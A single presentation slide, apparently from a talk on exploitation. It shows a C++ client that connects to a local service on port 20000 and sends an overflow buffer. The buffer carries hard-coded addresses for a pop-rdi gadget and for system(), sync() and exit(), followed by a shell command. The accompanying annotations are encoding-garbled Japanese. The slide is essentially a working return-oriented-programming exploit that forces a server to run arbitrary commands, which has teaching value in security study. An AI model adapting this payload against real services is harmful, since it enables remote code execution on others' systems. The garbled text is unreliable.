Slide 42
Slide 42 text
tcp::socket socket(io_service);
socket.connect(
tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 )
);
const std::vector< uint8_t > command{
't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
std::vector< uint8_t > data {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00,
0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00,
0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00,
0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00
};
for( size_t i = 0u; i != 10u; ++i )
std::copy( command.begin(), command.end(), std::back_inserter( data ) );
data.push_back( 0x0d );
ࡉͨ͠σʔλΛૹΔΫϥΠΞϯτ
QPQSEJͯ͠SFURͯ͠Δίʔυʹ
ඈͿͨΊͷΞυϨε
SEJʹͤΔ
࣮ߦ͍ͨ͠ίϚϯυ
system()
sync()
exit()
γΣϧεΫϦϓτ